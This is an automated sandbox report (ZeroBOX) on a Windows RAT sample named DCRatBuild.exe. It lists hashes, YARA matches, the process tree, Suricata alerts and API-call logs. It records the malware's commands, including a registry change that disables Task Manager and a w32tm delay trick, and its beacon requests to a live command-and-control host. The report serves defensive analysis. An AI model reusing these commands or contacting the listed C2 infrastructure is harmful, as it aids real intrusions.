Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Aug. 21, 2021, 4:22 a.m.	Aug. 21, 2021, 4:28 a.m.

Size	1.6MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`8b9163cd83793b088066e54dfd74c62f`
SHA256	`9fec10b93e11ee963fe5bf7f32f71ddade49b29c92c91437a740978cd98b5b33`
CRC32	`410DA22B`
ssdeep	`24576:h2G/nvxW3Wg2woQs0Sx/Q6dREkbInvJKkoDn+D5B61Uq7rVgSC+4k:hbA3FL9S/bInC2qKC3`
PDB Path	D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb
Yara	PE_Header_Zero - PE File Signature Generic_Malware_Zero - Generic Malware Win32_Trojan_Gen_2_0904B0_Zero - Win32 Trojan Gen OS_Processor_Check_Zero - OS Processor Check Malicious_Library_Zero - Malicious_Library IsPE32 - (no description) Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT Malicious_Packer_Zero - Malicious Packer Win32_Trojan_Gen_1_0904B0_Zero - Win32 Trojan Emotet

DCRatBuild.exe "C:\Users\test22\AppData\Local\Temp\DCRatBuild.exe"
2480
- wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\test22\AppData\Roaming\Adobe\8ZymEhuS91wN1CjUXL.vbe"
  160
  - cmd.exe cmd /c ""C:\Users\test22\AppData\Roaming\Adobe\rXFJKHUhhJYH.bat" "
    2824
    - secur.exe "C:\Users\test22\AppData\Roaming\Adobe\secur.exe"
      2984
      - cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\test22\AppData\Local\Temp\59U2oN9mIe.bat"
        1520
        
        chcp.com chcp 65001
        1136
        
        w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        736
        
        taskhost.exe "C:\Windows\System32\hidserv\taskhost.exe"
        624
    - reg.exe reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      2500

Name	Response	Post-Analysis Lookup
cq58782.tmweb.ru	A 188.225.63.143	188.225.63.143
ipinfo.io	A 34.117.59.81	34.117.59.81

IP Address	Status	Action
164.124.101.2	Active	Moloch
188.225.63.143	Active	Moloch
34.117.59.81	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49183 -> 34.117.59.81:443	2025331	ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io)	Device Retrieving External IP Address Detected
TCP 192.168.56.103:49183 -> 34.117.59.81:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 34.117.59.81:443 -> 192.168.56.103:49183	2025330	ET POLICY Possible External IP Lookup SSL Cert Observed (ipinfo.io)	Device Retrieving External IP Address Detected

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.103:49183 34.117.59.81:443	C=US, O=Google Trust Services LLC, CN=GTS CA 1D4	CN=ipinfo.io	2a:93:c5:f6:21:4b:14:40:41:d9:36:fe:ff:fe:65:37:17:1c:4e:b8

Queries for the computername (17 events)

Time & API	Arguments	Status	Return
GetComputerNameW Aug. 21, 2021, 4:15 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 21, 2021, 4:15 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 21, 2021, 4:15 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 21, 2021, 4:15 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 21, 2021, 4:15 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 21, 2021, 4:15 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 21, 2021, 4:15 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 21, 2021, 4:16 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 21, 2021, 4:17 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 21, 2021, 4:17 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 21, 2021, 4:17 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 21, 2021, 4:17 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 21, 2021, 4:17 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 21, 2021, 4:17 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 21, 2021, 4:17 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 21, 2021, 4:17 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 21, 2021, 4:17 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (4 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Aug. 21, 2021, 4:15 a.m.			0	0
IsDebuggerPresent Aug. 21, 2021, 4:15 a.m.			0	0
IsDebuggerPresent Aug. 21, 2021, 4:16 a.m.			0	0
IsDebuggerPresent Aug. 21, 2021, 4:16 a.m.			0	0

Command line console output was observed (7 events)

Time & API	Arguments	Status	Return
WriteConsoleW Aug. 21, 2021, 4:22 a.m.	buffer: C:\Users\test22\AppData\Roaming\Adobe> console_handle: 0x00000007	1	1
WriteConsoleW Aug. 21, 2021, 4:22 a.m.	buffer: "C:\Users\test22\AppData\Roaming\Adobe\secur.exe" console_handle: 0x00000007	1	1
WriteConsoleW Aug. 21, 2021, 4:22 a.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW Aug. 21, 2021, 4:22 a.m.	buffer: add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f console_handle: 0x00000007	1	1
WriteConsoleW Aug. 21, 2021, 4:16 a.m.	buffer: The batch file cannot be found. console_handle: 0x000000000000000b	1	1
WriteConsoleW Aug. 21, 2021, 4:16 a.m.	buffer: Active code page: 65001 console_handle: 0x0000000000000013	1	1
WriteConsoleW Aug. 21, 2021, 4:23 a.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

This executable has a PDB path (1 event)

pdb_path

D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Aug. 21, 2021, 4:15 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.didat

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

PNG

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ Aug. 21, 2021, 4:17 a.m.	stacktrace: 0x7fe92316c5a 0x7fe92316a3b 0x7fe92316971 0x7fe9230c854 mscorlib+0x4ef8a5 @ 0x7fef08af8a5 mscorlib+0x4ef609 @ 0x7fef08af609 mscorlib+0x4ef5c7 @ 0x7fef08af5c7 mscorlib+0x502d21 @ 0x7fef08c2d21 CoUninitializeEE+0x4c56f GetMetaDataInternalInterface-0x2b1ad clr+0x4f713 @ 0x7fef198f713 CoUninitializeEE+0x4c09e GetMetaDataInternalInterface-0x2b67e clr+0x4f242 @ 0x7fef198f242 CoUninitializeEE+0x4c167 GetMetaDataInternalInterface-0x2b5b5 clr+0x4f30b @ 0x7fef198f30b NGenCreateNGenWorker+0x682d _AxlPublicKeyBlobToPublicKeyToken-0x409df clr+0x216291 @ 0x7fef1b56291 DestroyAssemblyConfigCookie+0x157fc PreBindAssembly-0xc054 clr+0xf6d80 @ 0x7fef1a36d80 DestroyAssemblyConfigCookie+0x1578a PreBindAssembly-0xc0c6 clr+0xf6d0e @ 0x7fef1a36d0e DestroyAssemblyConfigCookie+0x15701 PreBindAssembly-0xc14f clr+0xf6c85 @ 0x7fef1a36c85 DestroyAssemblyConfigCookie+0x15837 PreBindAssembly-0xc019 clr+0xf6dbb @ 0x7fef1a36dbb NGenCreateNGenWorker+0x6711 _AxlPublicKeyBlobToPublicKeyToken-0x40afb clr+0x216175 @ 0x7fef1b56175 StrongNameSignatureVerification+0x5a22 GetCLRFunction-0x7712 clr+0x1866ae @ 0x7fef1ac66ae BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76dd652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x7738c521 exception.instruction_r: 80 38 00 48 8b 4c 24 40 48 8b 54 24 48 e8 54 ff exception.instruction: cmp byte ptr [rax], 0 exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x7fe92316c5a registers.r14: 0 registers.r15: 0 registers.rcx: 0 registers.rsi: 0 registers.r10: 8789956256704 registers.rbx: 0 registers.rsp: 481425552 registers.r11: 481420512 registers.r8: 38173340 registers.r9: 38173324 registers.rdx: 38173312 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 0 registers.r13: 0	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

Aug. 21, 2021, 4:17 a.m.

stacktrace:

0x7fe92316c5a
0x7fe92316a3b
0x7fe92316971
0x7fe9230c854
mscorlib+0x4ef8a5 @ 0x7fef08af8a5
mscorlib+0x4ef609 @ 0x7fef08af609
mscorlib+0x4ef5c7 @ 0x7fef08af5c7
mscorlib+0x502d21 @ 0x7fef08c2d21
CoUninitializeEE+0x4c56f GetMetaDataInternalInterface-0x2b1ad clr+0x4f713 @ 0x7fef198f713
CoUninitializeEE+0x4c09e GetMetaDataInternalInterface-0x2b67e clr+0x4f242 @ 0x7fef198f242
CoUninitializeEE+0x4c167 GetMetaDataInternalInterface-0x2b5b5 clr+0x4f30b @ 0x7fef198f30b
NGenCreateNGenWorker+0x682d _AxlPublicKeyBlobToPublicKeyToken-0x409df clr+0x216291 @ 0x7fef1b56291
DestroyAssemblyConfigCookie+0x157fc PreBindAssembly-0xc054 clr+0xf6d80 @ 0x7fef1a36d80
DestroyAssemblyConfigCookie+0x1578a PreBindAssembly-0xc0c6 clr+0xf6d0e @ 0x7fef1a36d0e
DestroyAssemblyConfigCookie+0x15701 PreBindAssembly-0xc14f clr+0xf6c85 @ 0x7fef1a36c85
DestroyAssemblyConfigCookie+0x15837 PreBindAssembly-0xc019 clr+0xf6dbb @ 0x7fef1a36dbb
NGenCreateNGenWorker+0x6711 _AxlPublicKeyBlobToPublicKeyToken-0x40afb clr+0x216175 @ 0x7fef1b56175
StrongNameSignatureVerification+0x5a22 GetCLRFunction-0x7712 clr+0x1866ae @ 0x7fef1ac66ae
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76dd652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x7738c521

exception.instruction_r: 80 38 00 48 8b 4c 24 40 48 8b 54 24 48 e8 54 ff
exception.instruction: cmp byte ptr [rax], 0
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x7fe92316c5a
registers.r14: 0
registers.r15: 0
registers.rcx: 0
registers.rsi: 0
registers.r10: 8789956256704
registers.rbx: 0
registers.rsp: 481425552
registers.r11: 481420512
registers.r8: 38173340
registers.r9: 38173324
registers.rdx: 38173312
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 0
registers.r13: 0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Performs some HTTP requests (3 events)

request	GET http://cq58782.tmweb.ru/toauthwindows.php?JL2L5tBWjPnGs3XTcD6uKG68l9j9Dk8=jd7jBYa4EX9b4TcqyURj&kzCP4k5KBT9RBgP5yRDnCqwGf=Sh2&7097c1305bf626a29b306f28c3eb5a37=73d6e7d5c4f05e2c08f40d4996142654&27db3b6f029f67ff228920ab3ac1e781=QNjhTO4Q2NiJWMjRWO1IjYwIjM5ADNzQWMiVWNxUjNxIzMmJmY3QGO&JL2L5tBWjPnGs3XTcD6uKG68l9j9Dk8=jd7jBYa4EX9b4TcqyURj&kzCP4k5KBT9RBgP5yRDnCqwGf=Sh2
request	GET http://cq58782.tmweb.ru/toauthwindows.php?JL2L5tBWjPnGs3XTcD6uKG68l9j9Dk8=jd7jBYa4EX9b4TcqyURj&kzCP4k5KBT9RBgP5yRDnCqwGf=Sh2&fa3036a5fecf852c355e0f2473333069=iJWM4cDO5Q2Y1UjMkZmNxUmZwUTZkNDM0UTYkVWYxIDOlZDZ4EDOhNDM1gzNwQzM5YzN0kTM&27db3b6f029f67ff228920ab3ac1e781=gZlVmYmFTOxU2N5EmMhZTZ0IDOihjY1ITY3gTO2ATOhRGOjNzY1UWN&5d9fca7c5f45565f194c0589cda03d83=d1nIxcDOxImMlNGNiJWMwcDZzIzYwMWYzIjNxEzYzcjMlZTOyY2NlRWO1IiOiETMlZjY3gjYmJTN5QjN5MGMzUGN3IWMkBTOjFDO4czNiwiI1AjZ1IzN0UDM3UWZ1gzY0IzY0UGM3IjZwYzMmVjZjRjZyE2NkhjM3IiOiE2N4QGO4MjY2QjZ0UTMllTNkZ2N5QGM3YjYzQWO3QjNis3W
request	GET https://ipinfo.io/json

Allocates read-write-execute memory (usually to unpack itself) (50 out of 185 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 786432 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000470000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000004b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef22a1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef293b000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 2228224 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000bf0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000d90000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef22a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef22a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef22a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef22a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef22a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef22a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef22a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef22a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef22a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef22a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef22a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef22a4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef22a4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef22a4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef22a4000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92afa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92b0c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92c30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92bac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92bd6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92bb0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92afb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92b1b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92b4c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92b1d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 36864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92c31000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92af2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92afc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92b0d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92c3a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92c3b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92c3c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92b0e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92c3d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92b0a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92c3e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92c3f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 21, 2021, 4:15 a.m.	process_identifier: 2984 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92c41000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

A process attempted to delay the analysis task. (1 event)

description

taskhost.exe tried to sleep 157 seconds, actually delayed analysis time by 157 seconds

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (2 events)

Time & API	Arguments	Status	Return	Repeated
